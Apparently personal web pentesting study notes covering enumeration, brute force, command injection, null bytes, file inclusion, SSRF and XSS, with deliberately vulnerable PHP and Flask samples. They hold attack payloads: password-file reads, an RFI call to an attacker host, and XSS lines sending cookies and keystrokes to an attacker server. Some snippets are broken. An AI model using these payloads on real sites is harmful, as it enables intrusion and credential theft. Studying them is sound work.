Pentesting

Enumerate

Before to do any action to the web application, it’s important to enumerate and how we can do the attack. First, if the web application has a login page, we can try to enumerate a user account:

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"

We can brute force:

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200

Insecure Direct Object Reference

Insecure Direct Object Reference or IDOR it’s an object which refer directly to the entry in the database. For instance, you can have this URL http://example.com?id=11111. Here, the value of the parameter id is an IDOR.

Cryptographic Failures

HTTP request smuggling

https://portswigger.net/web-security/request-smuggling

Injection

It’s possible for an hacker to inject code like:

  • SQL Injection: we can inject SQL and do some things to the database
  • Command injection: if the input is send directly to the system, it’s possible to execute some system command

Command injection was one of the top vulnerabilities: https://www.contrastsecurity.com/security-influencers/insights-appsec-intelligence-report

Command injection

For instance, the code below read the command from the user and execute it:

$ cat public/command.php 
<h1>Command</h1>

<form action="command.php" method="POST">
    <label>Command: </label><input type="text" name="command" /><br />
    <input type="submit" value="Submit" />
</form>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST'){
    $output=null;
    $retval=null;
    $cmd=$_POST["command"];
    exec($cmd, $output, $retval);
    echo $retval . '<br />';
    echo "Result of the command: " . $cmd . "<br />";
    foreach ($output as $value){
        echo $value . '<br />';
    }
}
?>

For instance, we can send this command to identify the shell:

getent passwd | grep `whoami`

https://www.php.net/manual/fr/function.passthru.php

In PHP, these functions are vulnerable:

  • passthru
  • exec
  • System

If the website use Python as backend, and the web application provide an entrypoint for executing comand:

import subprocess
from flask import Flask
app = Flask(__name__)

def exec_cmd(cmd):
    return subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout().read()

app.route("/<cmd>")
def cmd_server(cmd):
    return exec_cmd(cmd)

It’s easy for a attacker to execute system command: curl http://<ip>/id

CheatSheet for some payload command injection: https://github.com/payloadbox/command-injection-payload-list

Send custom header

When we try to attack a website, we can custom the HTTP header and to attack the website. or instance, we can change the User-Agent:

curl --header "User-Agent: admin" http://example.com

Bypass IP filtering

We can bypass the IP filtering for a website with a simple curl command:

curl --header "X-Forwarded-For: 192.168.1.1" http://example.com

We can test with this python script for all HTTP directive we can have:

$ cat main.py
#!/usr/bin/env python3

import requests

url = "http://example.com"  # Need to change the URL of destination
ip = "127.0.0.1"            # Need to specify the IP 

d = ['CACHE_INFO', 'CF_CONNECTING_IP', 'CF-Connecting-IP', 'CLIENT_IP', 'Client-IP', 'COMING_FROM', 'CONNECT_VIA_IP', 'FORWARD_FOR', 'FORWARD-FOR', 'FORWARDED_FOR_IP', 'FORWARDED_FOR', 'FORWARDED-FOR-IP', 'FORWARDED-FOR', 'FORWARDED', 'HTTP-CLIENT-IP', 'HTTP-FORWARDED-FOR-IP', 'HTTP-PC-REMOTE-ADDR', 'HTTP-PROXY-CONNECTION', 'HTTP-VIA', 'HTTP-X-FORWARDED-FOR-IP', 'HTTP-X-IMFORWARDS', 'HTTP-XROXY-CONNECTION', 'PC_REMOTE_ADDR', 'PRAGMA', 'PROXY_AUTHORIZATION', 'PROXY_CONNECTION', 'Proxy-Client-IP', 'PROXY', 'REMOTE_ADDR', 'Source-IP', 'True-Client-IP', 'Via', 'VIA', 'WL-Proxy-Client-IP', 'X_CLUSTER_CLIENT_IP', 'X_COMING_FROM', 'X_DELEGATE_REMOTE_HOST', 'X_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'X_FORWARDED', 'X_IMFORWARDS', 'X_LOCKING', 'X_LOOKING', 'X_REAL_IP', 'X-Backend-Host', 'X-BlueCoat-Via', 'X-Cache-Info', 'X-Forward-For', 'X-Forwarded-By', 'X-Forwarded-For-Original', 'X-Forwarded-For', 'X-Forwarded-Server', 'X-Forwarded-Host', 'X-From-IP', 'X-From', 'X-Gateway-Host', 'X-Host', 'X-Ip', 'X-Original-Host', 'X-Original-IP', 'X-Original-Remote-Addr', 'X-Original-Url', 'X-Originally-Forwarded-For', 'X-Originating-IP', 'X-ProxyMesh-IP', 'X-ProxyUser-IP', 'X-Real-IP', 'X-Remote-Addr', 'X-Remote-IP', 'X-True-Client-IP', 'XONNECTION', 'XPROXY', 'XROXY_CONNECTION', 'Z-Forwarded-For', 'ZCACHE_CONTROL']


for entry in d:
    headers = dict()
    headers[entry] = ip

    res = requests.get(f"{url}", headers=headers)
    if res.status_code == 200:
        print(res.status_code)
        print(entry)

Access to form with button disabled

If we want to try to access to a web page with the button disabled, we can easily bypass it. First, install a plugin in your web browser for executing javascript, like TamperMonkey. And execute this simple javascript code:

(function() {
    'use strict';
document.querySelector('input[name="button"]').disabled = false;
    // Your code here...
})();

This javascript code works for this form:

<form action="" method="post" name="authentication">
    <div>
        <input type="text" name="username" value="" />
        <input disabled type="submit" value="Login" name="button" />
    /div>
</form>

PHP Command injection

If the PHP application use the function exec for executing system command, it’s possible to do a command injection. For instance, for this small code:

cat index.php
<?php 
$flag = "".file_get_contents(".passwd")."";
if(isset($_POST["ip"]) && !empty($_POST["ip"])){
        $response = shell_exec("timeout -k 5 5 bash -c 'ping -c 3 ".$_POST["ip"]."'");
        echo $response;
}
?>

We can do a php injection:

<form method="POST" action="index.php">
        <input type="text" name="ip" placeholder="127.0.0.1">
        <input type="submit">
</form>

In the form, we can send this command: 127.0.0.1 ; cat .passwd

https://owasp.org/Top10/A03_2021-Injection/

Poison Null Byte

A Poison Null Byte it’s a hack technique for adding a NULL \0 byte at the end of the string. This technique can be potentially dangerous. For instance, we can have an access to a different system file:

<?php
    # http://localhost:8080/?filename=..%2f..%2f..%2fetc%2fpasswd%00
        # %2f -> /
        # Or
        # http://localhost:8080/?filename=../../../etc/passwd%00
    if ($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['filename'])){
        $filename = $_GET['filename']; 
        if (file_exists("/var/www/html/" . $filename '.php')){
            echo file_get_contents("/var/www/html/" . $filename . ".php");
        }
    }
?>

https://www.php.net/manual/fr/security.filesystem.nullbytes.php

https://owasp.org/www-community/attacks/Embedding_Null_Code

Sometimes, you can have this error (I added with the Docker image php:8.0.2-apache):

Fatal error: Uncaught ValueError: file_get_contents(): Argument #1 ($filename) must not contain any null bytes in /var/www/html/index.php:26 Stack trace: #0 /var/www/html/index.php(26): file_get_contents('/etc/passwd\x00') #1 {main} thrown in /var/www/html/index.php on line 26

We can also bypass the extension protection for reading a text. For instance, we would like to read a file, because the directory is open from the outside, we can try to read it:

$ cat hacked.txt
I have been hacked !!

And the code associated:

<?php
# http://localhost:8080/?filename=hacked.txt%00.jpg
if ($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['filename'])){
        $filename = $_GET['filename'];
        if (str_ends_with($filename, ".jpg")){
            echo file_get_contents($filename);
        }
        else{
            echo "Accept only .jpg file<br />";
        }
    }
?>

File Inclusion

Local File Inclusion (LFI)

LFI attacks against web application is a common vulnerable due to lack of security in web application. When an web application include a file from the user request, like that:

$ curl http://<ip>?lang=EN
<?php
include ($_GET['lang']);
?>

It’s easy for a attacker to try to get some specific file to the path traversal:

$ curl http://<ip>?lang=../../../etc/passwd

some application can add an extension, like that:

$ curl http://<ip>?lang=../../../etc/passwd
Warning: include(languages/../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

We can add a Poison NULL Byte for ignoring the rest of the code:

$ curl http://<ip>?lang=../../../etc/passwd%00

Remote File Inclusion

RFI is a attack technique for include a remote file to the web application, because the user input is not enough sanitized:

curl -X POST ahttp://<ip>?lang=http://<ip attacker>/cmd.php

And the cmd.php file:

<?php
echo exec ("cat /etc/passwd");
?>

SSRF - Server Side Request Forgery

An attacker can forge HTTP request which can alter the server itself, like modifying some resources. You have two kind of SSRF. The first is one is the SSRF regular, when you have the result of the attack and the second one is the blind SSRF when the result is not displayed in the HTTP result.

For instance, a Web server take one argument, like the URL of the server for doing API request. So, the request expected is:

http://<web server>/stock?url=http://api.<web server>/api/stock?id=<id>

And the attacker forge this request:

http://<web server>/stock?url=http://api.<web server>/api/user?id=<id>

With the result, the attacker can have different information regarding the user.

Also, the parameter &x can be used to stop the remaining of the path: https://security.stackexchange.com/questions/263850/what-is-the-effect-of-the-x-in-a-ssrf-is-it-something-related-to-encoding

For instance, the attacker request: https://example.com/item/9?server=server.example.com/flag?id=9&x

Can be https://server.example.com/flag?id=9&x.example.com/api/item?id=9

For verifying if we can forge our own HTTP request, we can analyse the HTTP code source, we can find some hidden value or some things in the code.

We can use the website requestbin.com or Burp for monitoring HTTP request

XSS

Cross-Site Scripting is a vulnerability in web application and a attacker can inject malicious code into web pages and they can be view by other users. For instance, an attacker can inject Javascript code and get all cookies form other users and to send them to a web server owned by the attacker:

<script>fetch('https://<server attacker>/data?cookie=' + btoa(document.cookie));</script>

Or we can imagine a key logger for having some credentials information:

<script>document.onkeypress = function(e) { fetch('https://<server attacker>/data?key=' + btoa(e.key) );}</script>

Kind of XSS attack

Reflected XSS

The reflected XSS attack occur when the result of the attack is directly display in the web page without any validation by the web server. For instance:

curl http://<server>/?action=<script>alert("Reflected XSS")</script>
<div>
<script>/* executed script */</script>
</div>

We can imagine the scenario when an attacker send from email the website with the malicious JavaScript code to the victim and him click on it. When the website is opened, the script is executed to the user’s browser.

https://portswigger.net/web-security/cross-site-scripting/reflected

Also, another tips, we can read the code source of the page and to get some idea how to execute JavaScript code. For instance, if the form take a string input, we can send this code:

curl +X POST http://<server>/?name=</input><script>alert("Reflected XSS")</script>

In the example above, we close the input field and like that, we can execute the JavaScript code.

Stored XSS

The attack occur when the malicious code is store in the website, in the DB for instance. For instance, if a web page has a comment system and the developer didn’t do any validation, the attacker can send the malicious code through the comment and when a user visit these comments, the code is executed.

https://portswigger.net/web-security/cross-site-scripting/stored

DOM based XSS

DOM (Document Object Model ), it’s an interface for HTML and XML documents

https://portswigger.net/web-security/cross-site-scripting/dom-based

https://www.w3.org/TR/REC-DOM-Level-1/introduction.html

Blind XSS

Blind XSS is a kind of Stored XSS, but the attacker can not view the result of the attack.

For testing Blind XSS, you can use the tool https://github.com/mandatoryprogrammer/xsshunter-express

https://portswigger.net/burp/documentation/desktop/testing-workflow/input-validation/xss/testing-for-blind-xss

Access to an account

https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html

https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication.html